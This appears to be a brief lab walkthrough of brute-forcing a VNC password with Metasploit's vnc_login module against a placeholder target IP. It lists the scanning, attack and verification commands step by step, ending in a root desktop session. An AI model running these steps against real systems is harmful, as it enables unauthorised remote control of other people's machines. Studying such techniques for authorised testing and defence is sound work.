VNC Brute-Force
VNC provides remote graphical desktop access, and its authentication relies solely on a password — no username is required. This makes it a straightforward target for brute-force attacks, especially since Metasploit's vnc_login module includes a built-in password wordlist by default. A successful login grants full graphical access to the target's desktop, rather than just a command-line shell.
Discovery
nmap -A -p- -T5 [target IP]Scans all ports with service versions; VNC (5900) is identified as open.
Attack
msfconsoleLaunches the Metasploit Framework console.
search vncSearches for modules related to VNC.
use auxiliary/scanner/vnc/vnc_loginSelects the VNC authentication scanner module.
show optionsDisplays the required parameters — unlike SSH, VNC authentication uses only a password, with no username field.
set rhosts [target IP]Sets the target's IP address.
exploitLaunches the attack. If no PASS_FILE is specified, the module automatically uses Metasploit's built-in VNC password wordlist.
Verification
vncviewer [target IP]Run in a separate terminal tab after the password is found. Connects to the target using the discovered password, opening a full graphical desktop session.
whoamiConfirms which user account was accessed (run from a terminal within the VNC desktop session) — in this case, root.
uname -aDisplays the target system's kernel information.
lsConfirms file access within the desktop session.
Tool Used
This attack was carried out using Metasploit Framework — see the full command reference here.